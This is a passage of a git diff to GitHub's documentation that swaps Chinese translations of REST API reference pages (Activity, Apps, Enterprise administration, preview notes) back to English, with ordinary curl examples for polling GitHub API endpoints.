variables.product.prodname_unfurls %} API 提供有关链接到注册域的 URL 的更多信息。 更多信息请参阅“[使用内容附件](/apps/using-content-attachments/)”。 +You can now provide more information in GitHub for URLs that link to registered domains by using the {% data variables.product.prodname_unfurls %} API. See "[Using content attachments](/apps/using-content-attachments/)" for more details. -**自定义媒体类型：** `corsair-preview` **公布日期：** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/) +**Custom media types:** `corsair-preview` +**Announced:** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/) -{% ifversion ghes < 3.3 %} +{% ifversion ghae or ghes < 3.3 %} -## 启用和禁用页面 +## Enable and disable Pages -您可以使用[页面 API](/rest/reference/repos#pages) 中的新端点来启用或禁用页面。 要了解有关页面的更多信息，请参阅“[GitHub Pages 基础知识](/categories/github-pages-basics)”。 +You can use the new endpoints in the [Pages API](/rest/reference/repos#pages) to enable or disable Pages. To learn more about Pages, see "[GitHub Pages Basics](/categories/github-pages-basics)". -**自定义媒体类型：** `switcheroo-preview` **公布日期：** [2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/) +**Custom media types:** `switcheroo-preview` +**Announced:** [2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/) {% endif %} {% ifversion ghes < 3.3 %} -## 列出提交的分支或拉取请求 +## List branches or pull requests for a commit -您可以使用[提交 API](/rest/reference/repos#commits) 中的两个新端点来列出提交的分支或拉取请求。 +You can use two new endpoints in the [Commits API](/rest/reference/repos#commits) to list branches or pull requests for a commit. -**自定义媒体类型：** `groot-preview` **公布日期：** [2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/) +**Custom media types:** `groot-preview` +**Announced:** [2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/) {% endif %} {% ifversion ghes < 3.3 %} -## 更新拉取请求分支 +## Update a pull request branch -您可以使用新的端点根据上游分支的 HEAD 更改来[更新拉取请求分支](/rest/reference/pulls#update-a-pull-request-branch)。 +You can use a new endpoint to [update a pull request branch](/rest/reference/pulls#update-a-pull-request-branch) with changes from the HEAD of the upstream branch. -**自定义媒体类型：** `lydian-preview` **公布日期：** [2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/) +**Custom media types:** `lydian-preview` +**Announced:** [2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/) {% endif %} {% ifversion ghes < 3.3 %} -## 创建和使用仓库模板 +## Create and use repository templates -您可以使用新的端点来[利用模板创建仓库](/rest/reference/repos#create-a-repository-using-a-template)，并通过将 `is_template` 参数设置为 `true`，[为经过身份验证的用户创建模板仓库](/rest/reference/repos#create-a-repository-for-the-authenticated-user)。 [获取仓库](/rest/reference/repos#get-a-repository)以检查是否使用 `is_template` 键将其设置为模板仓库。 +You can use a new endpoint to [Create a repository using a template](/rest/reference/repos#create-a-repository-using-a-template) and [Create a repository for the authenticated user](/rest/reference/repos#create-a-repository-for-the-authenticated-user) that is a template repository by setting the `is_template` parameter to `true`. [Get a repository](/rest/reference/repos#get-a-repository) to check whether it's set as a template repository using the `is_template` key. -**自定义媒体类型：** `baptiste-preview` **公布日期：** [2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/) +**Custom media types:** `baptiste-preview` +**Announced:** [2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/) {% endif %} {% ifversion ghes < 3.3 %} -## 仓库 API 的新可见性参数 +## New visibility parameter for the Repositories API -您可以在[仓库 API](/rest/reference/repos) 中设置和检索仓库可见性。 +You can set and retrieve the visibility of a repository in the [Repositories API](/rest/reference/repos). -**自定义媒体类型：** `nebula-preview` **公布日期：** [2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/) +**Custom media types:** `nebula-preview` +**Announced:** [2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/) {% endif %} diff --git a/translations/zh-CN/content/rest/reference/activity.md b/translations/zh-CN/content/rest/reference/activity.md index 63d086a656..804b4094d2 100644 --- a/translations/zh-CN/content/rest/reference/activity.md +++ b/translations/zh-CN/content/rest/reference/activity.md @@ -1,5 +1,5 @@ --- -title: 活动 +title: Activity intro: 'The Activity API allows you to list events and feeds and manage notifications, starring, and watching for the authenticated user.' redirect_from: - /v3/activity @@ -17,13 +17,13 @@ miniTocMaxHeadingLevel: 3 {% unless operation.subcategory %}{% include rest_operation %}{% endunless %} {% endfor %} -## 事件 +## Events -事件 API 是 {% data variables.product.prodname_dotcom %} 事件的只读 API。 这些事件推动站点上的各种活动流。 +The Events API is a read-only API to the {% data variables.product.prodname_dotcom %} events. These events power the various activity streams on the site. -事件 API 可以返回 {% data variables.product.product_name %} 上的活动触发的不同类型事件。 事件 API 可以返回 {% data variables.product.product_name %} 上的活动触发的不同类型事件。 有关可以从事件 API 接收的特定事件的更多信息，请参阅“[{{ site.data.variables.product.prodname_dotcom }} 事件类型](/developers/webhooks-and-events/github-event-types)”。 更多信息请参阅“[议题事件 API](/rest/reference/issues#events)”。 +The Events API can return different types of events triggered by activity on {% data variables.product.product_name %}. For more information about the specific events that you can receive from the Events API, see "[{% data variables.product.prodname_dotcom %} Event types](/developers/webhooks-and-events/github-event-types)." An events API for repository issues is also available. For more information, see the "[Issue Events API](/rest/reference/issues#events)." -事件针对使用 "ETag" 标头的轮询进行了优化。 如果未触发任何新事件，您将会看到一个 "304 Not Modified" 响应，并且您的当前速率限制不受影响。 还有一个 "X-Poll-Interval" 标头，用于指定允许您轮询的间隔时间（以秒为单位）。 在服务器负载较高时，该时间可能会增加。 请遵循标头指示。 +Events are optimized for polling with the "ETag" header. If no new events have been triggered, you will see a "304 Not Modified" response, and your current rate limit will be untouched. There is also an "X-Poll-Interval" header that specifies how often (in seconds) you are allowed to poll. In times of high server load, the time may increase. Please obey the header. ``` shell $ curl -I {% data variables.product.api_url_pre %}/users/tater/events @@ -38,25 +38,25 @@ $ -H 'If-None-Match: "a18c3bded88eb5dbb5c849a489412bf3"' > X-Poll-Interval: 60 ``` -时间表中只包含过去 90 天内创建的事件。 超过 90 天的活动将不包括在内（即使时间表中的活动总数不到 300 个）。 +Only events created within the past 90 days will be included in timelines. Events older than 90 days will not be included (even if the total number of events in the timeline is less than 300). {% for operation in currentRestOperations %} {% if operation.subcategory == 'events' %}{% include rest_operation %}{% endif %} {% endfor %} -## 馈送 +## Feeds {% for operation in currentRestOperations %} {% if operation.subcategory == 'feeds' %}{% include rest_operation %}{% endif %} {% endfor %} -### 获取 Atom 馈送的示例 +### Example of getting an Atom feed -要获取 Atom 格式的馈送，您必须在 `Accept` 标头中指定 `application/atom+xml` 类型。 例如，要获取 GitHub 安全通告的 Atom 馈送： +To get a feed in Atom format, you must specify the `application/atom+xml` type in the `Accept` header. For example, to get the Atom feed for GitHub security advisories: curl -H "Accept: application/atom+xml" https://github.com/security-advisories -#### 响应 +#### Response ```shell HTTP/2 200 @@ -101,26 +101,26 @@ HTTP/2 200 ``` -## 通知 +## Notifications -用户将收到其关注的仓库中各种对话的通知，包括： +Users receive notifications for conversations in repositories they watch including: -* 议题及其评论 -* 拉取请求及其评论 -* 对任何提交的评论 +* Issues and their comments +* Pull Requests and their comments +* Comments on any commits -当用户涉及未关注仓库中的对话时也会发送通知，包括： +Notifications are also sent for conversations in unwatched repositories when the user is involved including: -* **@提及** -* 议题分配 -* 提交用户作者或提交 -* 用户积极参与的任何讨论 +* **@mentions** +* Issue assignments +* Commits the user authors or commits +* Any discussion in which the user actively participates -所有通知 API 调用都需要 `notifications` 或 `repo` API 作用域。 这将赋予对某些议题和提交内容的只读权限。 您仍需要 `repo` 作用域才能从相应的端点访问议题和提交。 +All Notification API calls require the `notifications` or `repo` API scopes. Doing this will give read-only access to some issue and commit content. You will still need the `repo` scope to access issues and commits from their respective endpoints. -通知以“帖子”的形式返回。 帖子包含当前对议题、拉取请求或提交的讨论信息。 +Notifications come back as "threads". A thread contains information about the current discussion of an issue, pull request, or commit. -通知通过 `Last-Modified` 标头对轮询进行了优化。 如果没有新的通知，您将看到 `304 Not Modified` 响应，您的当前速率限制不受影响。 有一个 `X-Poll-Interval` 标头用于指定允许您轮询的间隔时间（以秒为单位）。 在服务器负载较高时，该时间可能会增加。 请遵循标头指示。 +Notifications are optimized for polling with the `Last-Modified` header. If there are no new notifications, you will see a `304 Not Modified` response, leaving your current rate limit untouched. There is an `X-Poll-Interval` header that specifies how often (in seconds) you are allowed to poll. In times of high server load, the time may increase. Please obey the header. ``` shell # Add authentication to your requests @@ -136,58 +136,62 @@ $ -H "If-Modified-Since: Thu, 25 Oct 2012 15:16:27 GMT" > X-Poll-Interval: 60 ``` -### 通知原因 +### Notification reasons -从通知 API 检索响应时，每个有效负载都有一个名为 `reason` 的键。 这些键对应于触发通知的事件。 +When retrieving responses from the Notifications API, each payload has a key titled `reason`. These correspond to events that trigger a notification. -以下是收到通知的可能 `reason` 列表： +Here's a list of potential `reason`s for receiving a notification: -| 原因名称 | 描述 | -| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `assign` | 您被分配到议题。 | -| `作者` | 您创建了帖子。 | -| `注释，评论` | 您评论了帖子。 | -| `ci_activity` | 当 {% data variables.product.prodname_actions %} 工作流程运行被请求或完成时。 | -| `邀请` | 您接受了参与仓库的邀请。 | -| `manual` | 您订阅了帖子（通过议题或拉取请求） | -| `提及` | 您在内容中被特别 **@提及**。 | -| `review_requested` | 您或您所属的团队被请求审查拉取请求。{% ifversion fpt or ghec %} -| `security_alert` | {% data variables.product.prodname_dotcom %} 在您的仓库中发现了[安全漏洞](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)。{% endif %} -| `state_change` | 您更改了帖子主题（例如关闭议题或合并拉取请求）。 | -| `subscribed` | 您在关注仓库。 | -| `team_mention` | 您所属的团队被提及。 | +Reason Name | Description +------------|------------ +`assign` | You were assigned to the issue. +`author` | You created the thread. +`comment` | You commented on the thread. +`ci_activity` | A {% data variables.product.prodname_actions %} workflow run that you triggered was completed. +`invitation` | You accepted an invitation to contribute to the repository. +`manual` | You subscribed to the thread (via an issue or pull request). +`mention` | You were specifically **@mentioned** in the content. +`review_requested` | You, or a team you're a member of, were requested to review a pull request.{% ifversion fpt or ghec %} +`security_alert` | {% data variables.product.prodname_dotcom %} discovered a [security vulnerability](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies) in your repository.{% endif %} +`state_change` | You changed the thread state (for example, closing an issue or merging a pull request). +`subscribed` | You're watching the repository. +`team_mention` | You were on a team that was mentioned. -请注意，`reason` 根据每个帖子而修改，如果在以后的通知中，`reason` 不同，其值可能会变更。 +Note that the `reason` is modified on a per-thread basis, and can change, if the `reason` on a later notification is different. -例如，如果您是某个议题的作者，则有关该议题的后续通知中，其 `reason` 值为 `author`。 如果后来您在这个议题上被 **@提及**，则您此后收到的通知中，其 `reason` 值为 `mention`。 无论您此后是否被再次提及，`reason` 值将保持 `mention` 不变。 +For example, if you are the author of an issue, subsequent notifications on that issue will have a `reason` of `author`. If you're then **@mentioned** on the same issue, the notifications you fetch thereafter will have a `reason` of `mention`. The `reason` remains as `mention`, regardless of whether you're ever mentioned again. {% for operation in currentRestOperations %} {% if operation.subcategory == 'notifications' %}{% include rest_operation %}{% endif %} {% endfor %} -## 标星 +## Starring -仓库标星是允许用户为仓库添加书签的功能。 显示在仓库旁边的星标表示大致的兴趣程度。 星标对通知或活动馈送没有影响。 +Repository starring is a feature that lets users bookmark repositories. Stars are shown next to repositories to show an approximate level of interest. Stars have no effect on notifications or the activity feed. -### 标星与 关注 +### Starring vs. Watching -2012 年 8 月，我们[更改了 {% data variables.product.prodname_dotcom %} 上的关注方式](https://github.com/blog/1204-notifications-stars)。 许多 API 客户端应用程序可能在使用原始的“关注者”端点来访问此数据。 现在，您可以开始使用“星标”端点了（如下所述）。 更多信息请参阅[关注者 API 更改帖子](https://developer.github.com/changes/2012-09-05-watcher-api/)和“[仓库关注 API](/rest/reference/activity#watching)”。 +In August 2012, we [changed the way watching +works](https://github.com/blog/1204-notifications-stars) on {% data variables.product.prodname_dotcom %}. Many API +client applications may be using the original "watcher" endpoints for accessing +this data. You can now start using the "star" endpoints instead (described +below). For more information, see the [Watcher API Change post](https://developer.github.com/changes/2012-09-05-watcher-api/) and the "[Repository Watching API](/rest/reference/activity#watching)." -### 标星的自定义媒体类型 +### Custom media types for starring -标星 REST API 有一个支持的自定义媒体类型。 使用此自定义媒体类型时，您将收到带有 `starred_at` 时间戳属性的响应，该属性指示星标创建的时间。 该响应还有第二个属性，该属性包括在不使用自定义媒体类型时返回的资源。 包含资源的属性为 `user` 或 `repo`。 +There is one supported custom media type for the Starring REST API. When you use this custom media type, you will receive a response with the `starred_at` timestamp property that indicates the time the star was created. The response also has a second property that includes the resource that is returned when the custom media type is not included. The property that contains the resource will be either `user` or `repo`. application/vnd.github.v3.star+json -有关媒体类型的更多信息，请参阅“[自定义媒体类型](/rest/overview/media-types)”。 +For more information about media types, see "[Custom media types](/rest/overview/media-types)." {% for operation in currentRestOperations %} {% if operation.subcategory == 'starring' %}{% include rest_operation %}{% endif %} {% endfor %} -## 关注 +## Watching -关注仓库会注册用户接收有关新讨论的通知以及用户活动馈送中的事件。 有关简单的仓库书签制作，请参阅“[仓库标星](/rest/reference/activity#starring)”。 +Watching a repository registers the user to receive notifications on new discussions, as well as events in the user's activity feed. For simple repository bookmarks, see "[Repository starring](/rest/reference/activity#starring)." {% for operation in currentRestOperations %} {% if operation.subcategory == 'watching' %}{% include rest_operation %}{% endif %} diff --git a/translations/zh-CN/content/rest/reference/apps.md b/translations/zh-CN/content/rest/reference/apps.md index 5e7ff63518..fe8a5dc5ff 100644 --- a/translations/zh-CN/content/rest/reference/apps.md +++ b/translations/zh-CN/content/rest/reference/apps.md @@ -1,6 +1,6 @@ --- -title: 应用 -intro: The GitHub Apps API enables you to retrieve the information about the installation as well as specific information about GitHub Apps. +title: Apps +intro: 'The GitHub Apps API enables you to retrieve the information about the installation as well as specific information about GitHub Apps.' redirect_from: - /v3/apps versions: @@ -15,31 +15,31 @@ miniTocMaxHeadingLevel: 3 {% data reusables.apps.general-apps-restrictions %} -本页列出了验证为 GitHub 应用程序后可访问的端点。 更多信息请参阅“[验证为 GitHub 应用程序](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app)”。 +This page lists endpoints that you can access while authenticated as a GitHub App. See "[Authenticating as a GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app)" to learn more. -验证为 GitHub 应用程序后，GitHub 应用程序 API 使您能够获取有关 GitHub 应用程序的高层次信息以及有关应用程序安装的特定信息。 +When authenticated as a GitHub App, the GitHub Apps API enables you to get high-level information about a GitHub App as well as specific information about installations of an app. -验证为 GitHub 应用程序后，您可以访问 REST API v3 端点。 这些端点带有“备注”部分，即“与 GitHub 应用程序结合使用”。 验证为用户后也可以访问这些端点。 +You can access REST API v3 endpoints while authenticated as a GitHub App. These endpoints have a "Notes" section that contains a bullet point that says "Works with GitHub Apps." You can also access these endpoints while authenticated as a user. -某些 REST API v3 端点需要验证为 GitHub 应用程序安装设施。 有关这些端点的列表，请参阅[安装设施](/rest/reference/apps#installations)。 +A subset of REST API v3 endpoints requires authenticating as a GitHub App installation. See [Installations](/rest/reference/apps#installations) for a list of these endpoints. {% for operation in currentRestOperations %} {% unless operation.subcategory %}{% include rest_operation %}{% endunless %} {% endfor %} -## OAuth 应用程序 API +## OAuth Applications API -您可以使用此 API 来管理 OAuth 应用程序用于访问人们在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户的 OAuth 令牌。 +You can use this API to manage the OAuth tokens an OAuth application uses to access people's accounts on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. {% for operation in currentRestOperations %} {% if operation.subcategory == 'oauth-applications' %}{% include rest_operation %}{% endif %} {% endfor %} -## 安装设施 +## Installations -安装设施 API 使您能够获取有关 GitHub 应用程序安装设施的信息并在这些安装设施中执行操作。 _安装设施_是指已安装该应用程序的任何用户或组织帐户。 有关如何验证为安装设施和限制访问特定仓库的信息，请参阅“[验证为安装设施](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)”。 +The Installations API enables you to get information about installations of your GitHub App and perform actions within those installations. An _installation_ refers to any user or organization account that has installed the app. For information on how to authenticate as an installation and limit access to specific repositories, see "[Authenticating as an installation](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)." -要列出组织的所有 GitHub 应用程序安装设施，请参阅“[列出组织的应用程序安装设施](/rest/reference/orgs#list-app-installations-for-an-organization)”。 +To list all GitHub App installations for an organization, see "[List app installations for an organization](/rest/reference/orgs#list-app-installations-for-an-organization)." {% for operation in currentRestOperations %} {% if operation.subcategory == 'installations' %}{% include rest_operation %}{% endif %} @@ -48,17 +48,17 @@ miniTocMaxHeadingLevel: 3 {% ifversion fpt or ghec %} ## Marketplace -有关 {% data variables.product.prodname_marketplace %} 的更多信息，请参阅“[GitHub Marketplace](/marketplace/)”。 +For more information about {% data variables.product.prodname_marketplace %}, see "[GitHub Marketplace](/marketplace/)." -{% data variables.product.prodname_marketplace %} API 允许您查看哪些客户正在使用定价计划，查看客户的购买情况，以及查看帐户是否具有有效订阅。 +The {% data variables.product.prodname_marketplace %} API allows you to see which customers are using a pricing plan, see a customer's purchases, and see if an account has an active subscription. -### 使用存根端点进行测试 +### Testing with stubbed endpoints -This API includes endpoints that allow you to [test your {% data variables.product.prodname_github_app %}](/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/) with **stubbed data**. 存根数据是硬编码的假数据，不会根据实际订阅而更改。 +This API includes endpoints that allow you to [test your {% data variables.product.prodname_github_app %}](/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/) with **stubbed data**. Stubbed data is hard-coded, fake data that will not change based on actual subscriptions. -要使用存根数据进行测试，请使用存根端点代替其对应的生产端点。 这允许您在 {% data variables.product.prodname_marketplace %} 上列出 {% data variables.product.prodname_github_apps %} 之前测试 API 逻辑是否成功。 +To test with stubbed data, use a stubbed endpoint in place of its production counterpart. This allows you to test whether API logic succeeds before listing {% data variables.product.prodname_github_apps %} on {% data variables.product.prodname_marketplace %}. -在部署您的 {% data variables.product.prodname_github_app %} 之前，请务必将存根端点替换为生产端点。 +Be sure to replace stubbed endpoints with production endpoints before deploying your {% data variables.product.prodname_github_app %}. {% for operation in currentRestOperations %} {% if operation.subcategory == 'marketplace' %}{% include rest_operation %}{% endif %} @@ -67,9 +67,9 @@ This API includes endpoints that allow you to [test your {% data variables.produ {% endif %} {% ifversion fpt or ghes > 2.22 or ghae or ghec %} -## Web 挂钩 +## Webhooks -{% data variables.product.prodname_github_app %} 的 web 挂钩允许您在某些事件发生时接收 HTTP `POST` 有效载荷。 {% data reusables.webhooks.webhooks-rest-api-links %} +A {% data variables.product.prodname_github_app %}'s webhook allows you to receive HTTP `POST` payloads whenever certain events happen for an app. {% data reusables.webhooks.webhooks-rest-api-links %} {% for operation in currentRestOperations %} {% if operation.subcategory == 'webhooks' %}{% include rest_operation %}{% endif %} diff --git a/translations/zh-CN/content/rest/reference/enterprise-admin.md b/translations/zh-CN/content/rest/reference/enterprise-admin.md index b6f8e616c8..d8512c1e8d 100644 --- a/translations/zh-CN/content/rest/reference/enterprise-admin.md +++ b/translations/zh-CN/content/rest/reference/enterprise-admin.md @@ -1,6 +1,6 @@ --- -title: GitHub Enterprise 管理 -intro: 'You can use these {% data variables.product.prodname_ghe_cloud %} endpoints to administer your enterprise account. 您可以使用此 API 执行的任务包括很多与 GitHub Actions 相关的任务。' +title: GitHub Enterprise administration +intro: You can use these endpoints to administer your enterprise. Among the tasks you can perform with this API are many relating to GitHub Actions. allowTitleToDifferFromFilename: true redirect_from: - /v3/enterprise-admin @@ -13,47 +13,50 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 -shortTitle: 企业管理 +shortTitle: Enterprise administration --- {% ifversion fpt or ghec %} {% note %} -**注：** 本文章适用于 {% data variables.product.prodname_ghe_cloud %}。 要查看 {% data variables.product.prodname_ghe_managed %} 或 {% data variables.product.prodname_ghe_server %} 版本，请使用 **{% data ui.pages.article_version %}** 下拉菜单。 +**Note:** This article applies to {% data variables.product.prodname_ghe_cloud %}. To see the {% data variables.product.prodname_ghe_managed %} or {% data variables.product.prodname_ghe_server %} version, use the **{% data ui.pages.article_version %}** drop-down menu. {% endnote %} {% endif %} -### 端点 URL +### Endpoint URLs -REST API 端点{% ifversion ghes %}— [管理控制台](#management-console) API 端点除外—{% endif %} 是以下 URL 的前缀： +REST API endpoints{% ifversion ghes %}—except [Management Console](#management-console) API endpoints—{% endif %} are prefixed with the following URL: ```shell {% data variables.product.api_url_pre %} ``` {% ifversion ghes %} -[管理控制台](#management-console) API 端点是唯一以主机名为前缀的端点： +[Management Console](#management-console) API endpoints are only prefixed with a hostname: ```shell http(s)://hostname/ ``` {% endif %} {% ifversion ghae or ghes %} -### 身份验证 +### Authentication -{% data variables.product.product_name %} 安装设施的 API 端点接受与 GitHub.com [相同的身份验证方法](/rest/overview/resources-in-the-rest-api#authentication)。 您可以使用 **[OAuth 令牌](/apps/building-integrations/setting-up-and-registering-oauth-apps/)**{% ifversion ghes %}（可使用[授权 API](/rest/reference/oauth-authorizations#create-a-new-authorization) 创建）{% endif %}或**[基本身份验证](/rest/overview/resources-in-the-rest-api#basic-authentication)**来验证自己。 {% ifversion ghes %} OAuth 令牌用于企业特定的端点时必须具有 `site_admin` [OAuth 作用域](/developers/apps/scopes-for-oauth-apps#available-scopes)。{% endif %} +Your {% data variables.product.product_name %} installation's API endpoints accept [the same authentication methods](/rest/overview/resources-in-the-rest-api#authentication) as the GitHub.com API. You can authenticate yourself with **[OAuth tokens](/apps/building-integrations/setting-up-and-registering-oauth-apps/)** {% ifversion ghes %}(which can be created using the [Authorizations API](/rest/reference/oauth-authorizations#create-a-new-authorization)) {% endif %}or **[basic authentication](/rest/overview/resources-in-the-rest-api#basic-authentication)**. {% ifversion ghes %} +OAuth tokens must have the `site_admin` [OAuth scope](/developers/apps/scopes-for-oauth-apps#available-scopes) when used with Enterprise-specific endpoints.{% endif %} -企业管理 API 端点只有经过身份验证的 {% data variables.product.product_name %} 站点管理员可以访问{% ifversion ghes %}，但[管理控制台](#management-console) API 例外，它需要[管理控制台密码](/enterprise/admin/articles/accessing-the-management-console/){% endif %}。 +Enterprise administration API endpoints are only accessible to authenticated {% data variables.product.product_name %} site administrators{% ifversion ghes %}, except for the [Management Console](#management-console) API, which requires the [Management Console password](/enterprise/admin/articles/accessing-the-management-console/){% endif %}. {% endif %} {% ifversion ghae or ghes %} -### 版本信息 +### Version information -每个 API 的响应标头中都会返回企业的当前版本：`X-GitHub-Enterprise-Version: {{currentVersion}}.0` 您也可以通过调用[元端点](/rest/reference/meta/)来读取当前版本。 +The current version of your enterprise is returned in the response header of every API: +`X-GitHub-Enterprise-Version: {{currentVersion}}.0` +You can also read the current version by calling the [meta endpoint](/rest/reference/meta/). {% for operation in currentRestOperations %} {% unless operation.subcategory %}{% include rest_operation %}{% endunless %} @@ -63,7 +66,7 @@ http(s)://hostname/ {% ifversion fpt or ghec or ghes > 3.2 %} -## 审核日志 +## Audit log {% for operation in currentRestOperations %} {% if operation.subcategory == 'audit-log' %}{% include rest_operation %}{% endif %} @@ -72,7 +75,7 @@ http(s)://hostname/ {% endif %} {% ifversion fpt or ghec %} -## 计费 +## Billing {% for operation in currentRestOperations %} {% if operation.subcategory == 'billing' %}{% include rest_operation %}{% endif %} @@ -90,9 +93,9 @@ http(s)://hostname/ {% ifversion ghae or ghes %} -## 管理统计 +## Admin stats -管理统计 API 提供有关安装设施的各种指标。 *它只适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)站点管理员。*普通用户尝试访问它时会收到 `404` 响应。 +The Admin Stats API provides a variety of metrics about your installation. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. {% for operation in currentRestOperations %} {% if operation.subcategory == 'admin-stats' %}{% include rest_operation %}{% endif %} @@ -102,9 +105,9 @@ http(s)://hostname/ {% ifversion ghae or ghes > 2.22 %} -## 公告 +## Announcements -公告 API 允许您管理企业中的全局公告横幅。 更多信息请参阅“[自定义企业的用户消息](/admin/user-management/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)”。 +The Announcements API allows you to manage the global announcement banner in your enterprise. For more information, see "[Customizing user messages for your enterprise](/admin/user-management/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)." {% for operation in currentRestOperations %} {% if operation.subcategory == 'announcement' %}{% include rest_operation %}{% endif %} @@ -114,11 +117,11 @@ http(s)://hostname/ {% ifversion ghae or ghes %} -## 全局 web 挂钩 +## Global webhooks -全局 web 挂钩安装在企业上。 您可以使用全局 web 挂钩来自动监视、响应或实施针对企业上的用户、组织、团队和仓库的规则。 全局 web 挂钩可以订阅[组织](/developers/webhooks-and-events/webhook-events-and-payloads#organization)、[用户](/developers/webhooks-and-events/webhook-events-and-payloads#user)、[仓库](/developers/webhooks-and-events/webhook-events-and-payloads#repository)、[团队](/developers/webhooks-and-events/webhook-events-and-payloads#team)、[成员](/developers/webhooks-and-events/webhook-events-and-payloads#member)、[成员身份](/developers/webhooks-and-events/webhook-events-and-payloads#membership)、[复刻](/developers/webhooks-and-events/webhook-events-and-payloads#fork)和 [ping](/developers/webhooks-and-events/about-webhooks#ping-event) 事件类型。 +Global webhooks are installed on your enterprise. You can use global webhooks to automatically monitor, respond to, or enforce rules for users, organizations, teams, and repositories on your enterprise. Global webhooks can subscribe to the [organization](/developers/webhooks-and-events/webhook-events-and-payloads#organization), [user](/developers/webhooks-and-events/webhook-events-and-payloads#user), [repository](/developers/webhooks-and-events/webhook-events-and-payloads#repository), [team](/developers/webhooks-and-events/webhook-events-and-payloads#team), [member](/developers/webhooks-and-events/webhook-events-and-payloads#member), [membership](/developers/webhooks-and-events/webhook-events-and-payloads#membership), [fork](/developers/webhooks-and-events/webhook-events-and-payloads#fork), and [ping](/developers/webhooks-and-events/about-webhooks#ping-event) event types. -*此 API 只适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)站点管理员。*普通用户尝试访问它时会收到 `404` 响应。 要了解如何配置全局 web 挂钩，请参阅[关于全局 web 挂钩](/enterprise/admin/user-management/about-global-webhooks)。 +*This API is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. To learn how to configure global webhooks, see [About global webhooks](/enterprise/admin/user-management/about-global-webhooks). {% for operation in currentRestOperations %} {% if operation.subcategory == 'global-webhooks' %}{% include rest_operation %}{% endif %} @@ -130,9 +133,9 @@ http(s)://hostname/ ## LDAP -您可以使用 LDAP API 来更新 {% data variables.product.product_name %} 用户或团队与其关联的 LDAP 条目之间的帐户关系，或者排队新同步。 +You can use the LDAP API to update account relationships between a {% data variables.product.product_name %} user or team and its linked LDAP entry or queue a new synchronization. -通过 LDAP 映射端点，您可以更新用户或团队所映射的识别名称 (DN) 。 请注意，LDAP 端点通常只在您的 {% data variables.product.product_name %} 设备[启用了 LDAP 同步](/enterprise/admin/authentication/using-ldap)时才有效。 启用了 LDAP 后，即使禁用 LDAP 同步，也可以使用[更新用户的 LDAP 映射](#update-ldap-mapping-for-a-user)端点。 +With the LDAP mapping endpoints, you're able to update the Distinguished Name (DN) that a user or team maps to. Note that the LDAP endpoints are generally only effective if your {% data variables.product.product_name %} appliance has [LDAP Sync enabled](/enterprise/admin/authentication/using-ldap). The [Update LDAP mapping for a user](#update-ldap-mapping-for-a-user) endpoint can be used when LDAP is enabled, even if LDAP Sync is disabled. {% for operation in currentRestOperations %} {% if operation.subcategory == 'ldap' %}{% include rest_operation %}{% endif %} @@ -141,9 +144,9 @@ http(s)://hostname/ {% endif %} {% ifversion ghae or ghes %} -## 许可 +## License -许可 API 提供有关企业许可的信息。 *它只适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)站点管理员。*普通用户尝试访问它时会收到 `404` 响应。 +The License API provides information on your Enterprise license. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. {% for operation in currentRestOperations %} {% if operation.subcategory == 'license' %}{% include rest_operation %}{% endif %} @@ -153,31 +156,31 @@ http(s)://hostname/ {% ifversion ghes %} -## 管理控制台 +## Management console -管理控制台 API 可帮助您管理 {% data variables.product.product_name %} 安装设施。 +The Management Console API helps you manage your {% data variables.product.product_name %} installation. {% tip %} -在对管理控制台进行 API 调用时，必须明确设置端口号。 如果在企业上启用了 TLS，则端口号为 `8443`；否则，端口号为 `8080`。 +You must explicitly set the port number when making API calls to the Management Console. If TLS is enabled on your enterprise, the port number is `8443`; otherwise, the port number is `8080`. -如果您不想提供端口号，则需要将工具配置为自动遵循重定向。 +If you don't want to provide a port number, you'll need to configure your tool to automatically follow redirects. -使用 `curl` 时，您可能还需要添加 [`-k` 标志](http://curl.haxx.se/docs/manpage.html#-k)，因为 {% data variables.product.product_name %} 在您[添加自己的 TLS 证书](/enterprise/admin/guides/installation/configuring-tls/)之前会使用自签名证书。 +You may also need to add the [`-k` flag](http://curl.haxx.se/docs/manpage.html#-k) when using `curl`, since {% data variables.product.product_name %} uses a self-signed certificate before you [add your own TLS certificate](/enterprise/admin/guides/installation/configuring-tls/). {% endtip %} -### 身份验证 +### Authentication -您需要将[管理控制台密码](/enterprise/admin/articles/accessing-the-management-console/)作为身份验证令牌传递给除 [`/setup/api/start`](#create-a-github-enterprise-server-license) 之外的每个管理控制台 API 